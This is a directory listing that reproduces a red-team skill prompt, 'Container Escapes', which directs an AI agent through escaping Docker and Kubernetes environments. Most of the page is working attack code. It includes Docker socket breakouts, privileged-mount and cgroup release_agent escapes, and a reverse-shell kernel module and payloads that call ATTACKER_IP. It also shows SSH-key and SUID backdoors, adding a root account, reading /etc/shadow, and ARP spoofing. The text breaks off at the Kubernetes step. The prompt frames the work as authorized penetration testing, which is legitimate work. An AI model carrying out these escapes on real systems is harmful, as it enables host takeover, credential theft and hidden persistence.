---
name: Container Escapes
slug: container-escapes
category: DevOps
description: Container Escapes helps enumerate container and Kubernetes environments, then pursue breakout paths such as exposed Docker sockets, privileged mounts, or cluster access. Use it during authorized penetration tests of containerized hosts and pods.
github: "https://github.com/blacklanternsecurity/red-run/tree/main/skills/network/container-escapes"
language: Python
stars: 266
forks: 37
install: "npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/network/container-escapes ~/.claude/skills/container-escapes"
installs_to: ~/.claude/skills/container-escapes
source_path: skills/network/container-escapes/SKILL.md
collection_size: 25
category_size: 828
collection_url: "https://dirskills.com/collections/blacklanternsecurity/red-run"
added: 2026-09-02T05:19:28.442Z
last_synced: 2026-09-02T05:19:28.442Z
canonical_url: "https://dirskills.com/skills/container-escapes"
---

# Container Escapes

Container Escapes helps enumerate container and Kubernetes environments, then pursue breakout paths such as exposed Docker sockets, privileged mounts, or cluster access. Use it during authorized penetration tests of containerized hosts and pods.

**Install:**

```bash
npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/network/container-escapes ~/.claude/skills/container-escapes
```

## README

# Container Escapes and Kubernetes Exploitation

You are helping a penetration tester escape from a containerized environment or
exploit a Kubernetes cluster. All testing is under explicit written authorization.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[container-escapes] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Prerequisites

- Shell access inside a container (Docker, Kubernetes pod, LXC, Podman)
- OR network access to Docker API (2375/2376), Kubernetes API (6443/8443),
  kubelet (10250/10255), or etcd (2379)

## Step 1: Container Detection and Enumeration

First, confirm you're in a container and identify the type and security posture.

### Am I in a Container?

```bash
# Quick checks
ls -la /.dockerenv 2>/dev/null && echo "DOCKER CONTAINER"
ls -la /run/.containerenv 2>/dev/null && echo "PODMAN CONTAINER"
cat /proc/1/cgroup 2>/dev/null | grep -qiE "docker|containerd|kubepods|lxc|podman" && echo "CONTAINERIZED"

# Kubernetes pod detection
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "KUBERNETES POD"
env | grep -q KUBERNETES && echo "KUBERNETES POD"

# Docker Desktop / WSL2 detection — narrows escape vectors significantly
uname -r | grep -q "microsoft-standard-WSL2" && echo "DOCKER DESKTOP (WSL2 backend)"

# Container runtime detection
cat /proc/1/cgroup 2>/dev/null | head -5
cat /proc/self/mountinfo 2>/dev/null | head -20
```

### Capability Check

Capabilities determine which escape techniques are available.

```bash
# Current capabilities
capsh --print 2>/dev/null
cat /proc/self/status | grep -i cap 2>/dev/null

# Decode capability bitmask
# CapEff: 0000003fffffffff = ALL capabilities (privileged)
# CapEff: 00000000a80425fb = Default Docker capabilities

# Quick privileged check — these only exist in privileged containers
test -e /dev/kmsg && echo "LIKELY PRIVILEGED"
test -w /proc/sys/kernel/core_pattern && echo "PRIVILEGED — /proc writable"
fdisk -l 2>/dev/null | head -5 && echo "DEVICE ACCESS — PRIVILEGED"
mount | grep -q "sysfs.*rw" && echo "SYSFS WRITABLE — PRIVILEGED"
```

**Key capabilities for escape:**

| Capability | Escape Technique |
|-----------|-----------------|
| `cap_sys_admin` | Mount host fs, cgroup release_agent, BPF |
| `cap_sys_ptrace` | Process injection, /proc/[pid]/mem write |
| `cap_sys_module` | Load kernel module (rootkit/reverse shell) |
| `cap_dac_override` | Read/write any file |
| `cap_dac_read_search` | Read any file (Shocker exploit) |
| `cap_sys_rawio` | Raw I/O (/dev/mem, /dev/kmem) |
| `cap_net_admin` | Network manipulation, ARP spoof |
| `cap_net_raw` | Packet sniffing, raw sockets |

### Environment Enumeration

```bash
# Current user and permissions
id
whoami

# Container ID
hostname  # Often the container ID
cat /proc/self/cgroup | grep -oP '[a-f0-9]{64}' | head -1

# Mounted filesystems (look for host mounts)
mount | grep -vE "^(proc|tmpfs|devpts|sysfs|cgroup)"
cat /proc/self/mountinfo | grep -vE "proc|tmpfs|devpts|sysfs|cgroup"

# Look for Docker socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
ls -la /var/run/containerd/containerd.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null

# Environment variables (credentials, configs)
env | sort

# Kubernetes-specific
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "K8S API: $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"

# Network info
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null
cat /etc/resolv.conf
cat /etc/hosts

# Secrets and credentials on disk
find / -name "*.key" -o -name "*.pem" -o -name "*.cert" -o -name "*token*" \
  -o -name "*secret*" -o -name "*.env" -o -name "config.json" 2>/dev/null | \
  grep -v proc | grep -v sys | head -20
```

### Automated Enumeration Tools

```bash
# deepce — Docker Enumeration, Escalation, Container Escapes
./deepce.sh
# Or from memory:
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash

# CDK — Container penetration toolkit
./cdk evaluate

# amicontained — Container introspection
./amicontained

# LinPEAS (container-aware)
./linpeas.sh
```

Present all findings and ask which escape vector to pursue.

## Step 2: Docker Socket Escape

**Prerequisite:** Docker socket mounted inside the container (`/var/run/docker.sock`).
This is the most reliable escape — if the socket is available, you have full
Docker API access which means full host control.

### Via Docker CLI

```bash
# Check if docker CLI is available inside the container
docker ps 2>/dev/null

# Create a new container that mounts the host filesystem
docker run -it -v /:/host --privileged ubuntu chroot /host bash

# Or use nsenter for host-level access
docker run -it --rm --pid=host --privileged ubuntu nsenter -t 1 -m -u -i -n -p bash

# If you just need to read files
docker run --rm -v /:/host ubuntu cat /host/etc/shadow
```

### Via curl (No Docker CLI)

```bash
# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# List images
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool

# Create privileged container with host mount
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create?name=pwn \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh"],
    "Tty": true,
    "OpenStdin": true,
    "Mounts": [{
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }],
    "HostConfig": {
      "Privileged": true,
      "PidMode": "host"
    }
  }'

# Start the container (use the ID from create response)
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/pwn/start

# Exec into the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/pwn/exec \
  -d '{
    "Cmd": ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "bash"],
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true
  }'
```

### Via Containerd Socket

```bash
# If containerd socket is available
ctr --address /run/containerd/containerd.sock image list
ctr --address /run/containerd/containerd.sock run \
  --mount type=bind,src=/,dst=/host,options=rbind \
  -t --privileged docker.io/library/alpine:latest pwn /bin/sh
```

**After escaping via socket:** You have full root on the host. Route to
**linux-discovery** for further post-exploitation, or **network-recon** to
discover additional targets from the host's network position.

## Step 3: Privileged Container Escape

**Prerequisite:** Container running with `--privileged` flag or all capabilities.

### Method 1: Mount Host Filesystem

```bash
# List host block devices
fdisk -l 2>/dev/null | grep "^Disk /dev/"
lsblk 2>/dev/null

# Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host    # Common for VMs
# Or: mount /dev/vda1 /mnt/host  (for virtio/cloud)
# Or: mount /dev/xvda1 /mnt/host (for AWS EC2)

# Access host filesystem
ls /mnt/host/
cat /mnt/host/etc/shadow
chroot /mnt/host bash

# Add SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys

# Create SUID bash for quick re-entry
cp /mnt/host/bin/bash /mnt/host/tmp/.backdoor
chmod u+s /mnt/host/tmp/.backdoor
# On host: /tmp/.backdoor -p
```

### Method 2: nsenter to Host Namespaces

```bash
# Enter all host namespaces via PID 1 (init)
nsenter -t 1 -m -u -i -n -p bash

# Or selectively:
nsenter -t 1 -m bash    # Mount namespace only (see host filesystem)
nsenter -t 1 -n bash    # Network namespace only (see host network)
nsenter -t 1 -p bash    # PID namespace only (see host processes)
```

Requires `--pid=host` or the host PID namespace to be shared.

### Method 3: cgroup release_agent

Works when `cap_sys_admin` is available (even without `--privileged` in some configs).

```bash
# Classic release_agent escape
# Find writable cgroup
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1) 2>/dev/null)
if [ -z "$d" ]; then
  # Mount cgroup ourselves
  mkdir /tmp/cgrp
  mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
  mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
  d=/tmp/cgrp
fi

# Create child cgroup and configure release_agent
mkdir -p $d/x
echo 1 > $d/x/notify_on_release

# Find container path on host filesystem
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Set release_agent to our script
echo "$t/cmd" > $d/release_agent

# Write escape payload
cat > /cmd <<'ESCAPE'
#!/bin/sh
# Runs on HOST as root when cgroup empties
ps aux > /tmp/host_ps.txt
cat /etc/shadow > /tmp/host_shadow.txt
# Reverse shell variant:
# bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
ESCAPE
chmod +x /cmd

# Trigger: put a process in the cgroup, then let it exit
sh -c "echo \$\$ > $d/x/cgroup.procs"

# Check output (written to container path visible from host)
sleep 1
cat /tmp/host_ps.txt 2>/dev/null
cat /tmp/host_shadow.txt 2>/dev/null
```

**CVE-2022-0492 variant** (kernel < 5.16.2): Bypasses kernel privilege checks
that normally prevent non-init user namespaces from setting release_agent.

### Method 4: Kernel Module Loading

```bash
# Compile a reverse shell kernel module (on attacker machine, match target kernel)
cat > /tmp/reverse_shell.c <<'EOF'
#include <linux/module.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int __init reverse_shell_init(void) {
    char *argv[] = {"/bin/bash", "-c",
        "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
    char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    return 0;
}

static void __exit reverse_shell_exit(void) {}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF

# Build against target kernel headers
make -C /lib/modules/$(uname -r)/build M=/tmp modules

# Load module (executes on HOST kernel)
insmod /tmp/reverse_shell.ko
```

**OPSEC: HIGH** — Kernel modules are persistent, visible in `lsmod`, and logged.
Use only in lab/CTF environments.

## Step 4: Sensitive Mount Exploitation

Escape without `--privileged` by abusing specific mounted paths.

### /proc/sys/kernel/core_pattern

If `/proc/sys/kernel/core_pattern` is writable:

```bash
# Check if writable
test -w /proc/sys/kernel/core_pattern && echo "WRITABLE"

# Write pipe command (executes on HOST when a core dump is triggered)
echo "|/path/on/host/to/payload" > /proc/sys/kernel/core_pattern

# Container overlay path (find it via mountinfo)
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "|$t/payload.sh" > /proc/sys/kernel/core_pattern

# Create payload
cat > /payload.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /payload.sh

# Trigger a core dump
ulimit -c unlimited
sleep 100 &
kill -SIGSEGV $!
```

### /sys/kernel/uevent_helper

```bash
# If writable
test -w /sys/kernel/uevent_helper && echo "WRITABLE"

t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/payload.sh" > /sys/kernel/uevent_helper

# Trigger uevent
echo change > /sys/class/mem/null/uevent
```

### /proc/sys/kernel/modprobe

```bash
# If writable — runs as root on host when an unknown binary format is executed
test -w /proc/sys/kernel/modprobe && echo "WRITABLE"

t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/payload.sh" > /proc/sys/kernel/modprobe

# Create payload
echo -e '#!/bin/sh\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /payload.sh
chmod +x /payload.sh

# Trigger unknown binary format
echo -ne '\xff\xff\xff\xff' > /tmp/trigger
chmod +x /tmp/trigger
/tmp/trigger 2>/dev/null
```

### Host Filesystem Volume Mounts

If any host paths are mounted inside the container:

```bash
# Identify host mounts
mount | grep -vE "^(proc|tmpfs|devpts|sysfs|cgroup|overlay)"
cat /proc/self/mountinfo | grep -v "per-container"

# Common writable host mounts to look for:
# /var/log — write cron job or logrotate script
# /var/run — access sockets
# /etc — modify host config
# /opt, /srv — application directories
# /tmp — place SUID binary if host has predictable cron

# If /etc is mounted writable
echo "attacker:$(openssl passwd -6 password):0:0::/root:/bin/bash" >> /host-etc/passwd

# If /var/run is mounted — check for sockets
ls -la /host-var-run/*.sock 2>/dev/null
```

## Step 5: Capability-Specific Escapes

When the container has specific capabilities but isn't fully privileged.

### CAP_SYS_PTRACE — Process Injection

```bash
# Find a root-owned process on the host (requires --pid=host)
ps aux | grep root | head -10

# Inject shellcode into a host process
# Using linux-inject or manual /proc/[pid]/mem write
python3 -c "
import ctypes
import struct

# Attach to target process
pid = 1  # init
mem = open(f'/proc/{pid}/mem', 'wb')
maps = open(f'/proc/{pid}/maps', 'r')

# Find executable region and inject
for line in maps:
    if 'r-xp' in line:
        addr = int(line.split('-')[0], 16)
        # Write shellcode at this address
        mem.seek(addr)
        # ... shellcode injection
        break
"
```

### CAP_DAC_READ_SEARCH — Shocker Exploit

Read any file on the host filesystem:

```bash
# Shocker exploit (uses open_by_handle_at syscall)
# Compile and run:
# https://github.com/gabber12/shocker/blob/master/shocker.c
./shocker /etc/shadow
```

### CAP_SYS_MODULE — Kernel Module

See Step 3, Method 4 (Kernel Module Loading).

### CAP_NET_ADMIN + CAP_NET_RAW — Network Attacks

```bash
# ARP spoofing to intercept traffic
# Useful when container shares network with other services
arpspoof -i eth0 -t GATEWAY_IP TARGET_IP

# Packet capture
tcpdump -i eth0 -w capture.pcap

# Route manipulation
ip route add 169.254.169.254 via ATTACKER_IP  # Redirect metadata service
```

## Step 6: Remote Docker API Exploitation

**Prerequisite:** Network access to Docker API on port 2375 (HTTP) or 2376 (HTTPS).
Typically found via **network-recon** during service enumeration.

```bash
# Check for open Docker API
curl -s http://TARGET:2375/version | python3 -m json.tool
curl -s http://TARGET:2375/containers/json | python3 -m json.tool

# List images
curl -s http://TARGET:2375/images/json | python3 -m json.tool

# Create and start a privileged container
curl -s -X POST -H "Content-Type: application/json" \
  http://TARGET:2375/containers/create \
  -d '{
    "Image": "alpine",
    "Cmd": ["sh", "-c", "echo pwned > /host/tmp/pwned && cat /host/etc/shadow"],
    "Mounts": [{"Type":"bind","Source":"/","Target":"/host"}],
    "HostConfig": {"Privileged": true}
  }'

# Start it (replace CONTAINER_ID)
curl -s -X POST http://TARGET:2375/containers/CONTAINER_ID/start

# Get output
curl -s http://TARGET:2375/containers/CONTAINER_ID/logs?stdout=true

# Or use docker CLI remotely
export DOCKER_HOST=tcp://TARGET:2375
docker ps
docker run -it -v /:/host --privileged alpine chroot /host bash
```

## Step 6b: Docker Desktop Internal API Escape

**Prerequisite:** Container running on Docker Desktop (Windows or macOS host).
Detected by `uname -r` containing `microsoft-standard-WSL2` (Windows) or
other Docker Desktop kernel indicators.

Docker Desktop runs containers inside a lightweight VM with an internal
management network. The Docker Engine API may be exposed on this internal
subnet without authentication — accessible from any container, even
unprivileged ones without a mounted Docker socket.

### Detection

```bash
# Confirm Docker Desktop environment
uname -r | grep -qi "microsoft-standard-WSL2" && echo "WSL2 — Docker Desktop likely"

# Check for Docker Desktop internal management subnet
# The VM typically uses 192.168.65.0/24 for host↔VM communication
ip route 2>/dev/null | grep "192.168.65"

# Scan for unauthenticated Docker API on the internal subnet
# Common addresses: 192.168.65.3, 192.168.65.7
for ip in 192.168.65.3 192.168.65.4 192.168.65.5 192.168.65.6 192.168.65.7; do
  curl -s --connect-timeout 2 "http://$ip:2375/_ping" 2>/dev/null && \
    echo "DOCKER API FOUND: $ip:2375"
done

# If no hit on known IPs, broader sweep
for i in $(seq 1 20); do
  curl -s --connect-timeout 1 "http://192.168.65.$i:2375/_ping" 2>/dev/null && \
    echo "DOCKER API FOUND: 192.168.65.$i:2375"
done
```

### Exploitation

Once the API is found, exploitation is identical to Step 6 (Remote Docker API)
but via the internal subnet address instead of an external IP:

```bash
DOCKER_API="http://192.168.65.7:2375"  # Replace with discovered IP

# Verify API access
curl -s "$DOCKER_API/version" | python3 -m json.tool

# List available images (use an existing one — no internet pull needed)
curl -s "$DOCKER_API/images/json" | python3 -c "
import sys,json
for img in json.load(sys.stdin):
    tags = img.get('RepoTags') or ['<none>']
    print(tags[0])
"

# Create container with host filesystem mount
# Docker Desktop maps the host filesystem under /mnt/host/ inside the VM:
#   Windows: /mnt/host/c/ = C:\
#   macOS: /mnt/host/Users/ = /Users/
IMAGE="alpine"  # Use an image from the list above
curl -s -X POST -H "Content-Type: application/json" \
  "$DOCKER_API/containers/create?name=escape" \
  -d '{
    "Image": "'$IMAGE'",
    "Cmd": ["sleep", "3600"],
    "Mounts": [{
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }],
    "HostConfig": {"Privileged": true}
  }'

# Start the container
curl -s -X POST "$DOCKER_API/containers/escape/start"

# Read files from the host via exec
# Windows host files: /host/mnt/host/c/Users/...
# macOS host files: /host/mnt/host/Users/...
# VM root files: /host/etc/shadow, /host/root/...
EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json" \
  "$DOCKER_API/containers/escape/exec" \
  -d '{"Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"AttachStdout":true}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")
curl -s -X POST -H "Content-Type: application/json" \
  "$DOCKER_API/exec/$EXEC_ID/start" -d '{"Detach":false}'

# Cleanup
curl -s -X POST "$DOCKER_API/containers/escape/stop"
curl -s -X DELETE "$DOCKER_API/containers/escape"
```

**Key differences from standard remote Docker API (Step 6):**
- No Docker socket mount needed — exploitable from unprivileged containers
- Host filesystem is at `/mnt/host/` inside the VM, not at `/` directly
- Windows: `C:\` maps to `/mnt/host/c/`, `D:\` to `/mnt/host/d/`
- macOS: `/Users/` maps to `/mnt/host/Users/`
- The API is on an internal subnet — not externally reachable

**After escaping:** You have access to the host filesystem (Windows or macOS)
through the VM's mount points. Read flags, credentials, SSH keys, or establish
persistence. Route to host-level discovery for further post-exploitation.

## Step 7: Kubernetes — Service Account Token Exploitation

**Prerequisite:** Inside a Kubernetes pod with a service account token mounted.

### Token Discovery and API Access

```bash
# Default t
